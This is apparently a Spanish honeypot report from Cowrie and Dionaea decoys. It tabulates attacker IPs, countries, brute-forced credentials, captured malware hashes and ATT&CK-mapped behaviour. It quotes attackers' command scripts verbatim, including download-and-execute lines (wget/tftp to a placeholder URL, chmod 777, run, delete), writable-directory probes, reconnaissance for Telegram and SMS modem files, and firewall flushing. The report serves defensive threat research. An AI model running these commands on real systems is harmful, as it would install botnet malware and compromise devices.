IPPaísSesiones con este guionEstado
<IP-PL-004>🇵🇱 Polonia3denunciada
<IP-RU-009>🇷🇺 Rusia1denunciada
<IP-TR-002>🇹🇷 Turquía1denunciada
<IP-AM-001>🇦🇲 Armenia1denunciada
<IP-AL-002>🇦🇱 Albania1denunciada
<IP-BE-002>🇧🇪 Bélgica1denunciada
<IP-RU-010>🇷🇺 Rusia1denunciada
<IP-BR-007>🇧🇷 Brasil1denunciada
<IP-HU-001>🇭🇺 Hungría1denunciada
<IP-UA-024>🇺🇦 Ucrania1denunciada
<IP-IT-009>🇮🇹 Italia1denunciada
<IP-RU-011>🇷🇺 Rusia1denunciada
<IP-GB-003>🇬🇧 Reino Unido1denunciada
<IP-CN-059>🇨🇳 China1denunciada
<IP-FR-003>🇫🇷 Francia1denunciada

(y 9 IPs más)

Ver las 34 órdenes de d76a6da1beb0
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

58fdeea7f78d : 22 IPs, 23 sesiones, 910 órdenes · visto del 2026-08-26 21:34 al 2026-09-11 21:40

IPPaísSesiones con este guionEstado
<IP-PK-004>🇵🇰 Pakistán2denunciada
<IP-BR-003>🇧🇷 Brasil1denunciada
<IP-CN-026>🇨🇳 China1denunciada
<IP-PK-005>🇵🇰 Pakistán1denunciada
<IP-CN-027>🇨🇳 China1denunciada
<IP-MK-001>🇲🇰 Macedonia del Norte1denunciada
<IP-CO-001>🇨🇴 Colombia1denunciada
<IP-TW-002>🇹🇼 Taiwán1denunciada
<IP-CN-028>🇨🇳 China1denunciada
<IP-CN-029>🇨🇳 China1denunciada
<IP-CN-030>🇨🇳 China1denunciada
<IP-IL-001>🇮🇱 Israel1denunciada
<IP-RU-002>🇷🇺 Rusia1denunciada
<IP-CN-031>🇨🇳 China1denunciada
<IP-TW-003>🇹🇼 Taiwán1denunciada

(y 7 IPs más)

Ver las 40 primeras de 42 órdenes de 58fdeea7f78d
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
... y 2 órdenes más

feef62c9a2bc : 18 IPs, 18 sesiones, 180 órdenes · visto del 2026-08-22 20:33 al 2026-09-21 06:05

IPPaísSesiones con este guionEstado
<IP-RU-012>🇷🇺 Rusia1denunciada
<IP-CN-060>🇨🇳 China1denunciada
<IP-NZ-001>🇳🇿 Nueva Zelanda1denunciada
<IP-SE-001>🇸🇪 Suecia1denunciada
<IP-KR-004>🇰🇷 Corea del Sur1denunciada
<IP-AR-002>🇦🇷 Argentina1denunciada
<IP-CN-061>🇨🇳 China1denunciada
<IP-RU-013>🇷🇺 Rusia1denunciada
<IP-KR-005>🇰🇷 Corea del Sur1denunciada
<IP-SE-002>🇸🇪 Suecia1denunciada
<IP-HK-004>🇭🇰 Hong Kong1denunciada
<IP-SE-003>🇸🇪 Suecia1-
<IP-CN-062>🇨🇳 China1-
<IP-FI-001>🇫🇮 Finlandia1denunciada
<IP-SE-004>🇸🇪 Suecia1denunciada

(y 3 IPs más)

Ver las 10 órdenes de feef62c9a2bc
/ip cloud print
/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo
ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'
ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
locate D877F783D5D3EF8Cs
echo Hi | cat -n

4. IPs

IPPaísVíaSesionesÓrdenesLogins fallidos (SSH)MuestrasSu orden más repetidaEstado
<IP-PK-006>PK 🇵🇰telnet17.12637.212-0start ×5316denunciada
<IP-PK-007>PK 🇵🇰telnet14.42020.443-7start ×1350baneada, denunciada
<IP-PK-008>PK 🇵🇰telnet5.55717.080-2start ×284baneada, denunciada
<IP-PK-009>PK 🇵🇰telnet26.22816.034-1start ×2288baneada, denunciada
<IP-PK-010>PK 🇵🇰telnet4.22513.702-1start ×1524baneada, denunciada
<IP-PK-029>PK 🇵🇰telnet4.89110.444-1start ×1306baneada, denunciada
<IP-NL-024>NL 🇳🇱telnet1768.587-7echo -e "\x47\x41\x59" ×528denunciada
<IP-PK-030>PK 🇵🇰telnet3.8017.409-1start ×888baneada, denunciada
<IP-PK-031>PK 🇵🇰telnet4.5546.711-1start ×830baneada, denunciada
<IP-PK-011>PK 🇵🇰telnet1.1016.549-1start ×792baneada, denunciada
<IP-PK-032>PK 🇵🇰telnet3.5346.355-0start ×720baneada, denunciada
<IP-PK-012>PK 🇵🇰telnet9136.036-1start ×718baneada, denunciada
<IP-PK-013>PK 🇵🇰telnet2.0305.703-0start ×608baneada, denunciada
<IP-PK-033>PK 🇵🇰telnet2.6995.680-1start ×720baneada, denunciada
<IP-PK-034>PK 🇵🇰telnet2.3045.522-1start ×674baneada, denunciada
<IP-PK-014>PK 🇵🇰telnet1.7345.494-1start ×642baneada, denunciada
<IP-PK-015>PK 🇵🇰telnet1.6795.465-1start ×636baneada, denunciada
<IP-PK-035>PK 🇵🇰telnet2.7355.406-1start ×690baneada, denunciada
<IP-PK-016>PK 🇵🇰telnet1.1405.301-1start ×614baneada, denunciada
<IP-CN-048>CN 🇨🇳telnet13.3235.298-0start ×590baneada, denunciada
<IP-PK-036>PK 🇵🇰telnet3.9565.266-1start ×674baneada, denunciada
<IP-PK-037>PK 🇵🇰telnet1.3915.226-1start ×670baneada, denunciada
<IP-PK-017>PK 🇵🇰telnet5.7725.178-1start ×626baneada, denunciada
<IP-PK-038>PK 🇵🇰telnet5.9815.096-1start ×656baneada, denunciada
<IP-PK-018>PK 🇵🇰telnet1.8674.977-1start ×568baneada, denunciada

La columna de logins fallidos lleva un guion (-), y no un cero, en las IPs que solo entraron por Telnet: este informe solo cuenta los logins de SSH, así que de una sesión de Telnet no se sabe si probó credenciales. Un cero diría que probó y no acertó, que es otra cosa.

4.1  Por país

Las cifras de esta tabla son solo de Cowrie: sesiones y órdenes son cosas de Cowrie, así que sus IPs también. La lista de "Todos los países que han atacado" cuenta las de los dos señuelos, y por eso un mismo país puede salir allí con más IPs que aquí. No es un descuadre: las dos cifras cuentan cosas distintas.

PaísIPs (Cowrie)SesionesÓrdenes tecleadasBaneadas
🇺🇸 US1.11460.3676.5822
🇨🇳 CN611301.522116.82233
🇷🇺 RU60835.21210.9533
🇺🇦 UA5235.2353.9800
🇦🇷 AR4181.5542380
🇧🇷 BR2925.4022900
🇵🇰 PK285382.146417.66976
🇩🇪 DE2369.1961420
🇮🇩 ID2274.710560
🇳🇱 NL20727.44915.8220
🇮🇳 IN1912.982900
🇫🇷 FR17014.4082030
🇬🇧 GB1648941610
🇻🇳 VN1578.1484790
🇿🇦 ZA1254302040
🇨🇦 CA118599480
🇹🇷 TR1161.673910
🇰🇷 KR1139361.1330
🇧🇪 BE112418340
🇲🇽 MX9979280
🇨🇱 CL9445400
🇭🇰 HK915961800
🇮🇹 IT806881.1540
🇺🇿 UZ76406710
🇸🇪 SE737.8852.3760

4.2  Por red /24

Agrupar las IPs por su red sirve para ver si detrás de muchas direcciones hay unas pocas redeso si el reparto está disperso. Las cifras de abajo lo dicen.

La tabla va de las redes con más direcciones a las que menos tienen. Mira la columna de órdenes para saber si además teclean algo o solo tocan y se van, la misma distinción que se hace en "Cuánto duran".

RedIPsPaísSesionesÓrdenesConexiones (Dionaea)Baneadas
<IP-DE-001>/24111🇩🇪 DE3901250
<IP-US-008>/2499🇺🇸 US16807690
<IP-US-009>/2487🇺🇸 US710570
<IP-US-010>/2477🇺🇸 US680530
<IP-US-011>/2469🇺🇸 US590530
<IP-CA-002>/2464🇨🇦 CA9201350
<IP-US-012>/2447🇺🇸 US270520
<IP-US-013>/2442🇺🇸 US39.3596500
<IP-US-015>/2437🇺🇸 US59020
<IP-US-014>/2435🇺🇸 US270280
<IP-CZ-001>/2435🇨🇿 CZ160470
<IP-ZA-002>/2431🇿🇦 ZA45000
<IP-US-016>/2431🇺🇸 US170160
<IP-ZA-003>/2426🇿🇦 ZA40000
<IP-FR-001>/2424🇫🇷 FR160100
<IP-GB-001>/2423🇬🇧 GB10290
<IP-FR-004>/2420🇫🇷 FR13.0772600
<IP-DE-003>/2419🇩🇪 DE100130
<IP-FR-005>/2419🇫🇷 FR16060
<IP-GB-002>/2419🇬🇧 GB50160
<IP-US-017>/2419🇺🇸 US120160
<IP-DE-004>/2418🇩🇪 DE10210
<IP-NL-025>/2417🇳🇱 NL6.7762000
<IP-GB-004>/2417🇬🇧 GB 🇮🇷 IR110180
<IP-GB-005>/2417🇬🇧 GB160100

4.3  Las que tocaron los dos señuelos

290 IPs de las 10.643 aparecen en los dos señuelos: el 2,7% del total. Los dos escuchan en direcciones públicas distintas (una para el Linux y otra para el Windows, a propósito, porque un mismo host con SSH de Debian y SMB de Windows sería sospechoso). Quien aparece en los dos no buscaba un servicio concreto: ha recorrido el rango entero del proveedor.

IPPaísSesiones (Cowrie)ÓrdenesConexiones (Dionaea)Estado
<IP-BR-004>BR 🇧🇷4083denunciada
<IP-US-051>US 🇺🇸4061denunciada
<IP-US-052>US 🇺🇸2053denunciada
<IP-US-020>US 🇺🇸29051denunciada
<IP-US-021>US 🇺🇸21051denunciada
<IP-US-022>US 🇺🇸24050denunciada
<IP-US-031>US 🇺🇸3041denunciada
<IP-US-032>US 🇺🇸2033denunciada
<IP-BE-001>BE 🇧🇪3032denunciada
<IP-US-030>US 🇺🇸2030denunciada
<IP-US-053>US 🇺🇸10029denunciada
<IP-US-027>US 🇺🇸2028denunciada
<IP-US-028>US 🇺🇸26027denunciada
<IP-BR-006>BR 🇧🇷4027denunciada
<IP-BR-005>BR 🇧🇷3027denunciada
<IP-US-024>US 🇺🇸2026denunciada
<IP-US-054>US 🇺🇸3024denunciada
<IP-US-023>US 🇺🇸2023denunciada
<IP-US-025>US 🇺🇸1022denunciada
<IP-US-055>US 🇺🇸3022denunciada
<IP-US-026>US 🇺🇸2022denunciada
<IP-US-029>US 🇺🇸1021denunciada
<IP-US-056>US 🇺🇸3020denunciada
<IP-US-057>US 🇺🇸1019denunciada
<IP-UA-012>UA 🇺🇦4019denunciada

4.4  IPs baneadas

En total 115, según la memoria del bot. Se cruzan aquí con lo que hicieron: una IP baneada que no había tecleado nada entró por el baneo automático de repetición, no por lo que hizo en la sesión.

4.5  Quién ordenó cada baneo

Las puestas a mano, una a una: <IP-SI-002>, <IP-PK-023>, <IP-PK-024>, <IP-PK-008>, <IP-PK-017>

IPPaísSesionesÓrdenesPrimera vezDenunciada
<IP-PK-007>PK 🇵🇰14.42020.4432026-08-25 15:23sí
<IP-PK-008>PK 🇵🇰5.55717.0802026-09-03 21:22sí
<IP-PK-009>PK 🇵🇰26.22816.0342026-08-23 04:15sí
<IP-PK-010>PK 🇵🇰4.22513.7022026-09-03 20:41sí
<IP-PK-029>PK 🇵🇰4.89110.4442026-09-11 15:59sí
<IP-PK-030>PK 🇵🇰3.8017.4092026-09-13 20:05sí
<IP-PK-031>PK 🇵🇰4.5546.7112026-09-15 08:16sí
<IP-PK-011>PK 🇵🇰1.1016.5492026-08-31 14:10sí
<IP-PK-032>PK 🇵🇰3.5346.3552026-09-19 21:04sí
<IP-PK-012>PK 🇵🇰9136.0362026-09-06 09:13sí
<IP-PK-013>PK 🇵🇰2.0305.7032026-09-04 21:46sí
<IP-PK-033>PK 🇵🇰2.6995.6802026-09-20 04:34sí
<IP-PK-034>PK 🇵🇰2.3045.5222026-09-17 19:42sí
<IP-PK-014>PK 🇵🇰1.7345.4942026-09-03 13:11sí
<IP-PK-015>PK 🇵🇰1.6795.4652026-09-01 21:28sí
<IP-PK-035>PK 🇵🇰2.7355.4062026-09-18 21:50sí
<IP-PK-016>PK 🇵🇰1.1405.3012026-09-03 01:31sí
<IP-CN-048>CN 🇨🇳13.3235.2982026-09-10 14:11sí
<IP-PK-036>PK 🇵🇰3.9565.2662026-09-16 23:32sí
<IP-PK-037>PK 🇵🇰1.3915.2262026-09-18 18:22sí
<IP-PK-017>PK 🇵🇰5.7725.1782026-09-09 06:35sí
<IP-PK-038>PK 🇵🇰5.9815.0962026-09-18 15:17sí
<IP-PK-018>PK 🇵🇰1.8674.9772026-08-29 17:23sí
<IP-PK-019>PK 🇵🇰2.0034.8282026-08-31 19:21sí
<IP-CN-047>CN 🇨🇳1.4144.7302026-09-02 03:51sí

5. Credenciales probadas

5.1  Las que funcionaron

O sea, las que pusimos nosotros en userdb.

Usuario:claveVeces
admin:admin1.137
root:root733

5.2  Qué hicieron los que acertaron

Entrar y no hacer nada no indica un fallo del señuelo. Es lo habitual en quien solo quiere saber si la clave vale, para apuntarla o venderla. Quien viene a usar la máquina se queda y teclea.

CredencialSesionesTeclearon algoÓrdenesIPs distintas
admin:admin1.1372214.056224
root:root7332485.992218

5.3  Las más intentadas sin éxito

Es el diccionario de contraseñas que traen los atacantes.

Usuario:claveVeces
root:123456293
root:password288
root:12345278
root:admin274
root:12345678249
root:1234248
root:123456789240
root:236
root:qwerty211
root:111111197
root:admin123195
root:P@ssw0rd190
admin:123456189
root:123123188
root:123182
root:root123182
root:passw0rd176
admin:123456789173
admin:admin123172
root:1q2w3e4r172
admin:password166
root:toor165
admin:1234143
ubuntu:ubuntu135
admin:131

5.4  Usuarios más buscados

UsuarioVeces
root55.675
admin7.301
ubuntu5.073
wallet2.822
user2.426
deploy2.324
crypto1.925
test1.476
mysql1.271
cloud1.056
node1.024
server996
docker895
debian778
panel753
postgres734
blockchain706
user1654
pm2647
guest614
bitcoin564
claude563
solana563
ftpuser543
ec2-user540

6. Malware capturado

Los dos señuelos juntos. El SHA-256 se calcula del fichero, no se da por bueno el nombre: Cowrie y Dionaea nombran sus capturas por su hash, pero eso es una convención y un respaldo hecho en caliente puede dejar un fichero a medias con el nombre entero.

16.840 ficheros apartados: no son muestras. Suman 1,07 GB. Se ha mirado el contenido, no el nombre.
Qué eraFicherosQué significa
artefacto16.805Líneas de syslog: es el /var/log/auth.log que el propio señuelo genera en cada sesión y persiste con Artifact(), que escribe en este mismo directorio. Salida nuestra, no captura
texto34Texto plano sin formato reconocible
vacío1Cero bytes
537binarios distintos
95de Cowrie
442de Dionaea
2286 MBen total
20.488entregas registradas
509ya publicados

6.1  Los más entregados

Ordenados por cuántas veces se entregó el mismo binario. Una muestra que llega cientos de veces desde decenas de IPs es una campaña; una que llega una sola vez suele ser una prueba.

SHA-256 (calculado)MD5SeñueloTipoBytesEntregasIPs distintasURLPublicado
f6c97b1e2ed02578ca10…3849f30b51a5CowrieELF137.4806.93850http://<IP-CN-054>:37040/isí
4293c1d8574dc87c5836…59ce0baba118CowrieELF135.7845.68144http://<IP-PK-028>:46913/bin.shsí
12013662c71da69de977…eec5c6c21953CowrieELF307.9604.53234http://<IP-PH-001>:44395/isí
3c060e8c70da8634814e…8614baad7be3CowrieELF135.78576011-sí
94990cc87f4fc49c54cd…0f620f09be06CowrieELF137.4812514-sí
a6296a79f44e21b76604…e7a5b5247aefCowriescript306191166http://<IP-NL-024>/wgetno
84030c2aa04a54c25edb…8d85f3625bd3DionaeaPE5.298.176153131-sí
b5cf68c7cb5bb2d21d60…a73ddd6ec224CowrieELF135.4721443http://<IP-CN-055>:58232/isí
acd0712ea85c759020b4…880d819bdaddCowrieELF307.961926-sí
d0df38cd4febaa3f20da…1c7eb62ee673DionaeaPE5.298.1767972-sí
8429bc3f819bae0b2aa6…7ecd3b8fbf1dDionaeaPE5.298.1766862-sí
f0aa83bbbd2c75e2f71e…1f47ecc10bc0CowrieELF1.989.056541-sí
8e1a67a5c03b3cd818f0…8e7e88377aaeCowrieELF1.838.060541-sí
3f3bf218089d1488617d…117dd0c3e5b3CowrieELF1.759.768541-sí
d1cac82f44b54b0fd244…0e0328dc8084CowrieELF1.696.412541-sí
d70f917e35813a7ae323…1ed17cd8d521CowrieELF1.448.252541-sí
1e70b63472772e3f5092…224b41af1717Cowriescript2.126541-sí
3f3a11bafabb1a35db91…2ca1a863f6a1Cowriescript1.157541-sí
39be6853a8204ce6455a…9e3b46f7626bCowriescript3.241521http://<IP-NL-029>/bins/kla.shsí
9eacc45bc8c6a2e4954e…88789a1cc82dDionaeaPE5.298.1764844-sí
2cebccdc2ee874420152…952a13dd6161CowrieELF192.328381http://<IP-NL-029>/bins/net.x8…sí
4f4f30d07cc0ed90a92e…a554260842beDionaeaPE5.298.1763427-sí
77e6a584064432eb4d9e…1af87674ad8bDionaeaPE5.298.1763026-sí
3362653be0698bc4350a…e52961e85075DionaeaPE5.298.1762724-sí
f30601be8c2b6d0c0c58…8f243b919437DionaeaPE5.298.1762525-sí

6.2  Agrupados por tamaño

Decenas de binarios distintos que pesan casi lo mismo suelen ser el mismo programa recompilado con variaciones de unos bytes. Por eso el número de muestras distintas engaña si se lee como número de familias.

Tamaño aproximadoBinarios distintos
5.174 KB394
1 KB25
0 KB14
2 KB7
4 KB6
64 KB5
3 KB4
132 KB4

394 de los 537 binarios distintos (73,4%) pesan exactamente 5.298.176 bytes, no parecido: el mismo número al byte, con 394 hashes distintos. Contarlos como 537 muestras distintas es correcto; leerlos como 537 programas distintos, no.

6.3  Quién sirve el malware, y además ataca

La URL de origen de una muestra dice de dónde se la bajó el señuelo. Estas direcciones aparecen ahí y en la lista de atacantes: se conectaron ellas mismas y, además, sirvieron el binario a otras. Eso apunta a la infraestructura de quien dirige el ataque, más que a una máquina infectada que alguien usa de paso.

IP que sirvePaísMuestrasEntregasIPs en cuyas sesiones se descargóSu propia actividad
<IP-NL-024>NL 🇳🇱1191166176 sesiones · 8.587 órdenes
<IP-NL-029>NL 🇳🇱3104184 sesiones · 255 órdenes
<IP-DZ-001>DZ 🇩🇿120212 conexiones a Dionaea
<IP-SI-003>SI 🇸🇮5666 sesiones · 566 órdenes
<IP-NL-030>NL 🇳🇱1111 sesión · 1 orden
<IP-NL-027>NL 🇳🇱1111 sesión · 2 órdenes
29 muestras que el log menciona y cuyo fichero no está en el respaldo. Sin el fichero no se pueden analizar ni publicar.
12 capturas de Cowrie en disco que el log no referencia con ningún evento de descarga o subida. Están contadas arriba porque el fichero existe y su hash está calculado, pero no se sabe por qué vía entraron: eso hay que averiguarlo, no suponerlo.

7. TTPs

La conducta y los recuentos son observados. La columna ATT&CK es inferida: es nuestra lectura de esa conducta, y sale de ANALISIS/ttp.tsv.

Conducta observadaVecesIPsEjemploATT&CK (inferido)
Fuerza bruta por adivinación de contraseña141.5982.514-T1110.001
Cambio de permisos de fichero en Linux37.637550>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1222.002
Transferencia de herramientas al objetivo132.578526/bin/busybox wget;/bin/busybox echo -ne '\x4f…T1105
Borrado de ficheros33.425514>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1070.004
Ejecución por el usuario de un fichero malicioso33.771447>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1204.002
Ficheros o información ofuscados72.663441>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>…T1027
Cuentas válidas1.870348-T1078
Descubrimiento de información del sistema2.393165uname=$(uname -s -v -n -m 2>/dev/null || /bin…T1082
Intérprete de órdenes de Unix598117filter_output=$( ( export LANG=C LC_ALL=C; ec…T1059.004
Descubrimiento del usuario del sistema6455idT1033
Descubrimiento de cuentas locales5851cat /etc/passwdT1087.001
Descubrimiento de procesos3028ps -ef | grep '[Mm]iner'T1057
Descubrimiento de la configuración de red1919ifconfigT1016
Desactivar o modificar el cortafuegos1311iptables -FT1562.004
Suplantación por nombre o ubicación99chmod +x ./.<HEX>/sshd;nohup ./.<HEX>/sshd <I…T1036.005
Descubrimiento de servicios de red142apt-get install masscan -yT1046
Sudo y cacheo de sudo72sudo apt-get update -yT1548.003
Manipulación de claves autorizadas de SSH541chmod +x clean.sh; sh clean.sh; rm -rf clean.…T1098.004
Intérprete de Python31python3 -c "import urllib.request; urllib.req…T1059.006
Protocolo de capa no aplicativa21nohup $SHELL -c "curl <URL> -o /tmp/925iFKXna…T1095
Parada de servicio11systemctl stop $svc >/dev/null 2>&1T1489
Servicio de systemd11systemctl daemon-reload >/dev/null 2>&1T1543.002

7.1  Órdenes sin técnica asignada

No casan con ninguna fila de ttp.tsv. Merecen una mirada: o son ruido, o son una técnica que falta por añadir. Esta tabla es la lista de tareas de la tabla de técnicas.

OrdenVeces
system68.822
linuxshell68.538
start65.582
config terminal65.582
enable34.430
sh34.415
su32.799
cp /bin/ls ii10.986
cat i > ii10.986
cp ii i10.986
rm ii10.986
rm i5.622
shell3.222
enablelinuxshell1.012
/bin/busybox719
ping ;sh529
rm /dev/.t; rm /dev/.sh; rm /dev/.human500
cd /proc && cat self/cmdline335
esac333
/bin/busybox UNSTABLE247
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:…243
printf243
done182
cd /dev/179
rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human178
32.300 entradas (1.933 distintas) no son órdenes: son bytes. Llegan por Telnet (negociación IAC y carga cruda) y Cowrie las anota en el mismo campo que una línea tecleada, así que aquí no cuentan como técnica ni como orden sin mapear. Los bytes de control se escriben en su forma \x00; el rombo � no se puede deshacer: lo escribe Cowrie al decodificar los bytes del atacante antes de anotarlos, así que cuando el informe lee el registro el byte original ya no existe. Lo que se perdió, se perdió en la captura y no aquí.

7.2  Lo que no se ha visto

Estas conductas se buscaron y no aparecieron ni una vez. No es lo mismo que no haberlas mirado: ttp.tsv es la lista de lo que este informe sabe reconocer, y estas son las filas que se quedaron a cero.

Conducta que no apareceATT&CK
Descubrimiento de software de seguridadT1518.001
Descubrimiento de conexiones de redT1049
Descubrimiento de ficheros y directoriosT1083
Evasión por detección de depurador o virtualizaciónT1622
Tarea programada con cronT1053.003
Arranque por perfil de shellT1546.004
Creación de cuenta localT1136.001
Borrado del historial de órdenesT1070.003
Desactivar herramientas de seguridadT1562.001
Descifrado o decodificación de ficherosT1140
Claves privadasT1552.004
Credenciales en ficherosT1552.001
Secuestro de recursosT1496
Secuestro de recursosT1496
Puerto no estándarT1571
Explotación para escalada de privilegiosT1068

Que no aparezca no prueba que no ocurriera, solo que no dejó rastro reconocible en lo que este señuelo puede ver. Un Cowrie no observa movimiento lateral ni persistencia real porque no hay a dónde moverse ni dónde quedarse.

8. Dionaea: qué se toca por el lado Windows

ServicioPuertoConexionesIPs
smbd445308.8562.093
mssqld14335.440671
epmapper1351.397447

8.1  Quién más insiste

IPPaísConexiones
<IP-RU-004>RU 🇷🇺20.391
<IP-IN-006>IN 🇮🇳11.821
<IP-RU-014>RU 🇷🇺11.041
<IP-CN-056>CN 🇨🇳11.028
<IP-RU-003>RU 🇷🇺11.021
<IP-CN-057>CN 🇨🇳11.012
<IP-CN-063>CN 🇨🇳11.009
<IP-EG-001>EG 🇪🇬11.007
<IP-IR-001>IR 🇮🇷9.461
<IP-BR-008>BR 🇧🇷7.833
<IP-BO-001>BO 🇧🇴3.335
<IP-ZA-005>ZA 🇿🇦3.161
<IP-RU-005>RU 🇷🇺3.149
<IP-CN-058>CN 🇨🇳3.147
<IP-TR-003>TR 🇹🇷3.130
<IP-TN-001>TN 🇹🇳3.123
<IP-RU-006>RU 🇷🇺3.120
<IP-RU-007>RU 🇷🇺3.119
<IP-TR-004>TR 🇹🇷3.118
<IP-VN-006>VN 🇻🇳3.118
<IP-LB-001>LB 🇱🇧3.116
<IP-VN-004>VN 🇻🇳3.116
<IP-TW-004>TW 🇹🇼3.115
<IP-LV-001>LV 🇱🇻3.114
<IP-SA-002>SA 🇸🇦3.113

A. De dónde salen los datos

Una sección vacía más arriba puede significar dos cosas distintas: que no hubo actividad, o que el fichero no estaba en el respaldo. Esta tabla las separa.

FuenteQuéEstáDetalle
Sesiones de Cowriecowrie.json*sí31 ficheros, 1,75 GB
Malware de Cowrielib/cowrie/downloads/sí54.064 ficheros
Eventos de Dionaeadionaea.sqlitesí1 fichero, 81,1 MB
Malware de Dionaealib/dionaea/binaries/sí442 ficheros
Estado del reporterstate.sqlite3sí1 fichero, 282,8 MB
Memoria del botcowrie_telegram_state.jsonsí1 fichero, 1,6 MB
Reglas del cortafuegosnftables-rulesetsí1 fichero, 0 B

A.1  Y qué hay en el directorio de capturas de Cowrie

Qué esFicherosQué significa
Capturas16.935Ficheros con nombre SHA-256: esto sí es malware capturado
Sondas de escritura36.260Ficheros de 0 bytes que deja Cowrie cuando el atacante redirige la salida a un fichero para ver si puede escribir (por ejemplo >/var/run/.x). No son muestras: son la huella de una prueba para encontrar un directorio escribible
Temporales152Restos de tempfile
Otros717Sin clasificar

A.2  Cómo se ha hecho este informe

Para que esto se pueda repetir y comprobar: de dónde salieron los datos, con qué se leyeron y qué hay exactamente dentro de cada fuente. Los hashes son de los ficheros del respaldo tal como estaban al leerlos.

QuéValor
Respaldo analizadorespaldo
Orden que lo generóanalisis.py --respaldo respaldo --salida analisis-senuelo-202…
Herramientaanalisis.py · SHA-256 c3d0e0fe443d9ee33a8c47014e93747f…
EntornoPython 3.12.3 en linux
Generado2026-09-21 10:57:05 UTC
Huso aplicado a CowrieEurope/Kyiv
FuentePatrónQué haySHA-256
Sesiones de Cowriecowrie.json*31 ficheros · 1,75 GBbd339628cb67cba83027599e594cd33f…
Malware de Cowrielib/cowrie/downloads/54.064 ficherosel SHA-256 de cada uno se calcula aparte (ver "Malware capturado")
Eventos de Dionaeadionaea.sqlite1 fichero · 81,1 MB23b65991439f2461ec9c979a44c4de5f…
Malware de Dionaealib/dionaea/binaries/442 ficherosel SHA-256 de cada uno se calcula aparte (ver "Malware capturado")
Estado del reporterstate.sqlite31 fichero · 282,8 MBd14b537dd8a79db8651faec8cb6ce4fd…
Memoria del botcowrie_telegram_state.json1 fichero · 1,6 MBb82674b6243772cc25e86d97d84ec170…
Reglas del cortafuegosnftables-ruleset1 fichero · 12,1 KB01dce91bd22a47186bcd7f15cd606e3b…

Cuando una fuente son varios ficheros, el hash de la tabla es el de la lista ordenada de sus hashes: exactamente lo que sale de sha256sum FICHEROS | sort | sha256sum en la carpeta del respaldo. No es el hash de ningún fichero concreto; los individuales están aquí debajo.

Los 31 ficheros de Sesiones de Cowrie, uno a uno
5e236d469c2456c86bfed34192d99ae4525f395e2bdcaccb784b5acea8991932  cowrie.json
faabe867fd2b1f2cfd78ab4f8ade2b6a42c48e4cf33400c70d7851630c2d2355  cowrie.json.2026-08-22
eb660cdc25226f62d3f2aa0dce5540ed814c0b9c5b1c33a1e433121c2a2529ec  cowrie.json.2026-08-23
ee415ad9ef44ddfc61a7d1fe2ca4c604b61159c1c693de8c83e9261f0c775ec3  cowrie.json.2026-08-24
3d944cb320eafcc79d92a3158b964de60f02cb0ba5d65a340c6d44814606bfbc  cowrie.json.2026-08-25
c2ec7b17c4da5b93523ffbd3c4a000dba35b6f32ee1548bd7236b551bd333fb5  cowrie.json.2026-08-26
04eb871e55683ed02a0dab542c4bd266e0f7f5851be98d88907d3fbda746afe6  cowrie.json.2026-08-27
75c95058f2e58ab817604db3a3cae53f485c87d3edb62483c8498fe684f4eb17  cowrie.json.2026-08-28
